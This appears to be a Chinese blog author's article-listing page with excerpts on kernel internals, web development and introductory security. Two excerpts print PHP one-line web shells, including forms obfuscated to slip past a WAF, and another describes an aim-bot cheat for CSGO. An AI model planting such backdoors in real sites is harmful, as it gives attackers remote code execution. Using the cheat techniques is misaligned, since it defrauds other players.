自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(40)
  • 问答 (1)
  • 收藏
  • 关注

原创 AOSP+WSL+adb搭建安卓开发ebpf环境

所以,我们在要以此为大前提去考虑整个开发环境怎么搭建,为什么要那么搭建,以及如何针对具体情况搭建。

2023-06-06 17:43:28 907

原创 【TellMeCode】使用VSCODE + ChatGPT辅助分析推测源码

根据代码上下文相关信息,如工作区文件夹名称,代码所在路径等一系列信息,提供给大模型更多元和,利用其自身优势去检索相关的文档和博客,并且以方式展现,方便于一些开源知名项目和规范化命名架构的内部项目。特色:结合整体项目分析当前选中代码,bottom-top,top-bottom.

2023-05-26 16:05:36 1105

原创 论ext4的dax优化,细节,优缺点

ext4-dax 文件系统基于 Linux 内核的 DAX 特性,它允许应用程序直接访问持久内存,而无需通过内核的页面缓存。 ext4-dax 文件系统利用此功能为某些类型的工作负载提供对持久内存的更快、更高效的访问。ext4-dax文件系统基于DAX特性实现的一些具体优化包括:使用 Linux 内核中 dax.c 代码中的 pmd_fault() 和 pud_fault() 函数分别处理 PMD 和 PUD 级别的页面错误。 这允许 ext4-dax 文件系统在发生页面错误时有效地将适当的持久内存区域映射

2022-12-06 03:16:23 707

原创 【渗透测试入门】Linux应急响应(蓝队入门)

rootkit主要有两种类型文件级别和内核级别。文件级别的rootkit一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。通常容易被rootkit替换的系统程序有login、ls、ps、ifconfig、du、find、netstat等。内核级rootkit。...

2022-07-16 13:10:18 1428

原创 【JS-DOM】 html特性和DOM属性的区分 与使用

如果标签是 ,那么 DOM 对象就会有 body.id=“page”特性—属性映射并不是一一对应的html特征:1.大小写不敏感 2.值总是字符串类型总结一句 特性是写在html的,有标准和非标准标准的会被自动翻译成DOM的属性非标准的必须通过特殊的方法来访问功能:2.配合css做样式 状态 变化 场景:订单状态颜色变化这样子使用方便管理和更改部分引用:javsscript.info......

2022-06-06 19:58:13 251

原创 【JS-DOM】 遍历和搜索 学习笔记【1】

chilNode集合列出了所有子节点,包括文本节点如:展示document.body的所有子元素0x02 firshChild lastChild和childNode的关系?第一个子节点 and 最后一个子节点他们是同级子方法0x03 childNode 是个集合 不是数组 如何遍历?使用 for … of2 .兄弟节点 父节点nextSliblingpreviousSibling3. 纯元素导航(不要类似注释 文本等节点)childrenfirstElementChild,

2022-06-04 11:33:31 146

转载 “忍者代码“-如何提升你在公司存在感,不被优化-大半夜笑疯了...

看JS文档学习的时候 看到了一篇“ninja-code”太搞笑了 分享给各位!!!ps:非原创!单纯的转载!!!js学习文档过去的程序员忍者使用这些技巧,来使代码维护者的头脑更加敏锐。代码审查大师在测试任务中寻找它们。一些新入门的开发者有时候甚至比忍者程序员能够更好地使用它们。仔细阅读本文,找出你是谁 —— 一个忍者、一个新手、或者一个代码审查者?检测到讽刺意味许多人试图追随忍者的脚步。只有极少数成功了。把代码尽可能写得短。展示出你是多么的聪明啊。在编程中,多使用一些巧妙的编程语言特性。例如,看一下这个三元

2022-06-03 02:49:12 572

原创 【YCSB benchmark】 LevelDB 配置 编译 Persistent mem模拟 ALL过程记录(总结了需要用到的各种文档)

DAX Persistent Memory Emulate on DRAMBlog for STEP of EMULATE PMEMIntel Pmem emulate OFFICIALGRUB configuration for PMEM# vi /etc/default/grubGRUB_CMDLINE_LINUX="memmap=nn[KMG]!ss[KMG]"例如,memmap=4G!12G 在第 12 和 16 GB 之间保留 4 GB 内存。下面的例子展示了如何在 ...

2022-05-12 15:44:56 925

原创 【操作系统】LinuxKernel-VFS虚拟文件系统 认知框架构建(super_block,inode,dentry,file)

VFS概念虚拟文件系统(也称为虚拟文件系统交换机)是内核中的软件层,为用户空间程序提供文件系统接口。它还在内核中提供了一个抽象,允许不同的文件系统实现共存"一切皆文件"是Linux的基本哲学之一,不仅是普通的文件,包括目录、字符设备、块设备、套接字等,都可以以文件的方式被对待。实现这一行为的基础,正是Linux的虚拟文件系统机制。。还记得系统调用吧?你可以VFS类似给各种文件系统抽象出来了一个系统调用,把各种类型的文件系统封装成对上层不可见的,同时留出一些api。示意图如下VFS设计Linux

2022-04-30 01:03:06 1227

原创 【操作系统】LinuxKernel-进程地址空间 认知框架构建(task_struct,mm_struct,vm_area_struct)

进程地址空间概念在 Linux 系统中,采用了虚拟内存管理技术,事实上大多数现在操作系统都是如此!在 Linux 系统中,每一个进程都在自己独立的地址空间中运行。虚拟地址会通过硬件 MMU(内存管理单元)映射到实际的物理地址空间中,建立虚拟地址到物理地址的映射关系后,对虚拟地址的读写操作实际上就是对物理地址的读写操作,MMU 会将物理地址“翻译”为对应的物理地址,其关系如下所示:那么,为什么要引入虚拟地址呢?引入虚拟地址有什么优点呢?点这里看,这里解释的非常好了struct task_struc

2022-04-30 00:59:14 738

原创 【操作系统】LinuxKernel-块(磁盘硬盘)I/O 认知框架构建(bio,bio_vec,page)

0x06 块I/O概念首先清楚一些概念在磁盘上,最小可寻址单元是扇区,文件系统的最小寻址单元是 块,且块不能比扇区小,得是它的2的n次方倍而且访问device的块开销相当大总而言之操作系统读取硬盘的时候,不会一个个扇区地读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个"块"(block)。这种由多个扇区组成的"块",是文件存取的最小单位。"块"的大小,最常见的是4KB,即连续八个 sector组成一个 block。块IO的基本组织struct bio (块I/O的基本容器)

2022-04-30 00:56:20 1550

原创 【操作系统】Linux Kernel中memcpy的汇编实现 详解(包括必要基础概念等)

memcpy汇编实现由于这篇博客是从我的各种笔记上搬的我不知道自己为什么看了mmcpy汇编实现,也许单纯就是因为好玩在arch/x86/boot/Copy.S中,由Linus在1992年写的一段代码GLOBAL(memcpy) pushw %si pushw %di movw %ax, %di movw %dx, %si pushw %cx shrw $2, %cx rep; movsl popw %

2022-04-30 00:52:02 1944

原创 关于sql注入入门的一些事

0x00 Outline我们经常提到各种sql注入,并且在学习的过程中我们看到了各种做题记录(比如sqllab)等等,这篇博客就不跟风啦!我们从另外一个角度来学习sql注入,即剖析原理!硬读代码(强行从黑盒变成白盒,目的就是为了面对黑盒的时候心中有数我们这篇博客的一个思路就是弄清楚,为什么xxx题叫xxx,这个题的类型是别人总结好的,那我们来看看为什么叫这个!例如GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

2022-04-23 21:50:02 2445

原创 Linux从模块化机制学到Kconfig,Makefile构建配置原理

0x00 前言在学习Linux内核过程中,我们经常会看到,驱动程序的注册过程通常分为以下两种步骤:模块初始化驱动程序注册但是呢!模块初始化,中的模块化机制module,不仅用于支撑驱动的加载和卸载!!!喵呜,那让我们来演示一下还能怎么用!// filename: HelloWorld.c#include <linux/module.h>#include <linux/init.h>static int hello_init(void){ printk(

2022-03-22 15:32:29 3488 3

原创 Ajax 异步JS&xml - XMLHttpRequest详解从XHR到Promise

Ajax 快速入门 从XHR对象到Promise的使用 详解 学习资源整合

2022-03-12 16:50:40 1633

原创 ESP8266(mini D1)实现网络服务器Server 用到的硬件概念分析扩展 API调用总结

个人/宿舍/家庭 创客玩具 小型WebServer 知识点全分析

2022-03-07 14:44:07 1839

原创 YOLOv5-CSGO深度学习图像识别自动瞄准技术用到的各个技术简述,着重分析使用的库和函数,如何实现鼠标调用,屏幕截取,制作训练集

0x00 方案概述,技术栈深度学习训练模型:YOLOv5框架图像识别:OpenCV编程语言:pythonIDE:Pycharm运行环境:Pytorch+CUDA+Anaconda这篇博客我不会特别具体的讲操作流程,更注重用到的一些函数和库之类的实现方法大概是:实时截取屏幕,然后通过比对模型来识别截取图片上的CT,T阵营人物。然后获取坐标,传给我们自己写的函数,然后调用操控鼠标的库,实现开枪。0x01 YOLOv5框架什么叫yolov5?其实就是 You Only Lo

2022-02-28 14:51:57 9425 7

原创 使用pynput监听鼠标事件,阻塞&非阻塞,实时反馈

实现鼠标控制pynput为什么不用pyautogui因为,通过代码测试,移动10次鼠标需要花费将近一秒时间,这个时间效率有点不够用而pynput只用了几乎0秒使用方法首先将鼠标封装成一个类,这样mouse就成为了一个可操作的对象mouse = pynput.mouse.Controller()api-mouse.position鼠标位置保存着鼠标当前的位置(mouse是mouse类实例)from pynput.mouse import Controllerlo

2022-02-08 15:41:00 2861

原创 OpenCV入门初探---拿走就能用的 人脸检测小项目 源码分析

0x00思路概览该程序整体逻辑是,识别你的脸并保存count(计数器)张你的脸的图片,然后退出,或者在运行中按q。其中有两层重要的循环1.持续调用摄像头循环-----while true2.处理识别函数识别出的每张脸的函数-----for xywh in face0x01代码概览(分类器是啥?)-------F&A --20x02.相机逻辑分析启动调用camera = cv2.VideoCapture(0)#表示打开笔记本的内置摄像头获取单个帧光

2022-01-03 18:48:27 1925 1

原创 关于pycharm,pip安装,官方库(插件)无法安装库(插件),报错一大堆的问题。

报错如下一大堆子,长的离谱然后再cmd的pip输入pip install xxxx也会报这种错的话,解决方法:那就是,把梯子关掉!!!!!!那就是,把梯子关掉!!!!!!那就是,把梯子关掉!!!!!!那就是,把梯子关掉!!!!!!具体原因不知道,谁研究明白了,求教!!!我目前已解决,身边有人遇到了同样的问题。...

2021-12-27 22:07:51 412

原创 学习爬虫并利用业务逻辑漏洞爬取 CTFhub_WP

CTFHUB writeup爬取实战 从0开始学爬虫

2021-12-14 11:52:18 3753

原创 学习“ls“命令和linux系统相关知识,并实现“ls”的七个功能(从基本的结构体开始)---详细总结

0x00-What Is The 'ls'?要实现ls,首先要对linux的文件系统,文件类型有一定了解,也要对ls及其各种常见参数的功能比较了解-a, –all 列出目录下的所有文件,包括以 . 开头的隐含文件。-i, inode 印出每个文件的 inode 号-l, list列出文件的详细信息-t, time以文件修改时间排序-r, reverse 依相反次序排列-s, size 以块大小为单位列出所有文件的大小-R, –recursive 同时列出所有子目录层-A,

2021-11-29 23:03:42 1349

原创 信息泄露,RCE,SQL注入(以入门的视角学习)

信息泄露,RCE,SQL注入(以入门的视角学习)

2021-11-29 22:53:56 405

原创 线段树详解(从大一视角来看)

0x01.线段树For What?具体问题是:求一个数组内任意L,R下标之间的所有数的和,而且要提供下标值的更新的功能,普通方法太慢了,所以我们引入tree[]数组来保存叶子节点和叶子节点和的数组,以减小复杂度为O(logn)Function1.build_tree Funcvoid build_tree(int arr[],int tree[],int node,int start,int end){ if(start == end){//递归到叶节点 tree[node] =

2021-11-29 22:48:24 96

原创 父子进程管道通信(附简单样例)

0x00思路为了给TinyHTTPd源码分析打下基础,先写一个简单父子进程管道通信的样例1,先定义,并绑定read,write函数和缓冲区,创建pipe管道数组(下标0对于读段,1对应写端,这是强制规定的)2.父进程fork后,父子进程各有一套1中的变量,且代码执行是同步的,只不过储存空间不在一起,然后对父子进程的管道进行操作使之可以通信0x01函数write#include <unistd.h>ssize_t write(int fd, const void *bu

2021-11-13 17:07:40 1960

原创 拓扑排序(极其详细)

0x00思路1.前置知识:临接矩阵+图的创建+链表相关知识实现栈2.算入度函数3.用头插实现栈4.再用以个void的功能函数0x01各个函数实现对图的一些处理图结构体声明typedef struct Graph { char* vexs; int** arcs; int vexNum; int arcNum;}Graph;图的初始化Graph* initGraph(int vexNum) { Graph* G = (Gra...

2021-11-13 17:05:34 654

原创 一句话木马WAF绕过

原理WAF通常会以关键字判断是否为一句话木马,所以要将一句话木马变形使用,从而绕过 waf:1.php变量函数<?php $a = "assert"; $a($_POST['-7']); ?>2.str_replace函数<?php $a = str_replace("b", "", "absbsbebrbt")...

2021-10-03 10:15:46 439

原创 PHP_一句话木马

1.eval函数<?php @eval($_POST['-7']); ?>将post内容以php代码运行2.assert函数<?php @assert ($_POST['-7']); ?>assert函数将接受的字符串当做代码执行 。3.preg_replace():<?php @preg_replace("/abcd/e",$_POST['-7'],"abcdef...

2021-10-03 10:04:37 132

原创 西安邮电大学ZYPC_CTF_2021新生杯重点复盘

WEB传参在url传参 ?+变量所有传的参都在request数组对应下标变量下RE简单ida使用MISC一、接触了winhex软件winhex概述winhex 是一个专门用来对付各种日常紧急情况的工具。它可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。同时它还可以让你看到其他程序隐藏起来的文件和数据。总体来说是一款非常不错的 16 进制编辑器。得到 ZDNetSoftwareLibrary 五星级最高评价,拥有强大的系统效用。二、学习了关于压缩包文

2021-10-03 00:10:13 333

原创 汇编_局部函数_a+b实现原理及代码

栈结构1.地址由上往下递增,高地址是栈底,低地址是栈顶2.寄存器esp用来管理栈结构里面的内存3.以四字节为一个单位4.清理栈的过程中,与其用pop不如用esp+8来实现栈顶减少,栈顶上面的元素就被删除了代码实现_AddNum proc near//调用函数 push ebp mov ebp,esp mov eax,dword ptr [ebp+8] add eax,dword ptr [ebp+12] pop ebp ret _AddNum end

2021-10-03 00:04:56 491

原创 CSAPP深入理解计算机原理_第一章

The Compliacation Systemgcc 处理过程预处理预处理器以 #开头的代码来修改原始程序如读取头文件插入 hello.c得到 hello.i 文件依旧是文本文件编译将 hello.i 翻译为 hello.s词法分析语法分析语义分析中间代码生成优化等更多详见《编译原理》汇编(Assembler)将.s 翻译成机械指令,并按一定的规则打包,生成 hello.o 可重定位文件链接诸如 printf 的函数,已经事先 变

2021-10-01 15:52:01 657

原创 c语言_多线程入门_信号量Semaphore

也属于线程同步的一种方式信号量 Semaphore定义:有时被称为信号灯,是在多线程环境下使用的一种设施,是可以用来保证两个或多个关键代码段不被并发调用。目的:类似计数器,常用在多线程同步任务上,信号量可以在当前线程某个任务完成后,通知别的线程,再进行别的任务。分类:二值信号量:信号量的值只有 0 和 1,这和互斥量很类似,若资源被锁住,信号量的值为 0,若资源可用,则信号量的值为 1; 计数信号量:信号量的值在 0 到一个大于 1 的限制值之间,该计数表示可用的资源的个数。

2021-10-01 15:48:39 3264

原创 关于函数a+b的实现

栈结构1.地址由上往下递增,高地址是栈底,低地址是栈顶2.寄存器esp用来管理栈结构里面的内存3.以四字节为一个单位4.清理栈的过程中,与其用pop不如用esp+8来实现栈顶减少,栈顶上面的元素就被删除了代码实现_AddNum proc near//调用函数 push ebp mov ebp,esp mov eax,dword ptr [ebp+8] add eax,dword...

2021-09-30 10:24:50 448

原创 多线程p3_信号量

也属于线程同步的一种方式信号量Semaphore定义:有时被称为信号灯,是在多线程环境下使用的一种设施,是可以用来保证两个或多个关键代码段不被并发调用。目的:类似计数器,常用在多线程同步任务上,信号量可以在当前线程某个任务完成后,通知别的线程,再进行别的任务。分类:二值信号量:信号量的值只有0和1,这和互斥量很类似,若资源被锁住,信号量的值为0,若资源可用,则信号量的值为1;计数信号量:信号量的值...

2021-09-28 12:40:11 79

原创 多线程p2_互斥锁

引入先回答上篇文章的问题:什么原因造成数据混乱?首先计算靠的是CPU,而CPU的寄存器只能存储极少的数据,时时需要和内存交换。这时CPU通过内存地址取值的时候,如果是操作的是共享资源(例如:全局变量),且进行多线程操作,如果某个线程的操作完后,还没有马上将数据放回内存,就失去了CPU,那么在其他线程操作这个共享数据的时候,使用的还是旧值,数据自然就发生了混乱。简单点一句话概括:你操作得太快了,其他...

2021-09-27 08:04:47 74

原创 多线程p1_线程基本操作

基本概念什么是线程?首先线程是包含在进程内。一条线程指的是进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每条线程并行执行不同的任务,线程之间资源是共享的。多线程的优势?如果只有一个线程,那么任务就是顺序执行的,你必须等待前面的任务完成,才能执行下一个任务。引入多线程则可以在你执行某个任务的过程中,执行其他任务。所以在耗时多任务中,应用非常广泛。代码介绍pthread_create简述:创...

2021-09-26 18:41:11 117

原创 PWN_初步认识

pwn简介:CTF中的pwn指的是通过通过程序本身的漏洞,编写利用脚本破解程序拿到主机的权限,这就需要对程序进行分析,了解操作系统的特性和相关漏洞,是是一个难度比较大的分支。 接下来介绍相关的学习思路(自己总结的,当作参考)0x01 基础知识准备 pwn相对于web,更需要专业的技能和知识,最主要的是要学会如何分析程序,这就需要有足够的准备c语言汇编语言python操作系统linux操作 C...

2021-08-17 19:11:53 4349 1

原创 SQL_基础

////////////////////////////Liujiahuan_2021_7_31_Night//////////////Learn From Runoob.com概念1.SQL 指结构化查询语言,全称是 Structured Query Language2.SQL可以数据插入、查询、更新和删除关系型数据库与非关系型数据库1.关系型二维表,常见有Oracle、DB2、PostgreS...

2021-08-09 09:06:04 149

原创 ZYPC_CTF_2021新生杯

WEB传参在url传参 ?+变量所有传的参都在request数组对应下标变量下RE简单ida使用MISC一、接触了winhex软件winhex概述winhex 是一个专门用来对付各种日常紧急情况的工具。它可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。同时它还可以让你看到其他程序隐藏起来的文件和数据。总体来说是一款非常不错的 16 进制编辑器。得到 ZDNetSoftwa...

2021-08-06 09:44:44 151 1

原创 Tool_RE_IDA基础字符串修改

字符串查找按住键盘组合键 shift + f12 打开字符串窗口,包含所有字符串,双击进去会找到选定字符串的内存地址,字符串修改1.选中字符串,在Hex dump修改对应内存地址内容(PS关于16进制可以在百度百科搜索ascii码表2.要将hello 52pojie!对应的hex是:68 65 6C 6C 6F 20 35 32 70 6F 6A 69 65 21改成hello world!在a...

2021-07-31 03:29:24 2969 1

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除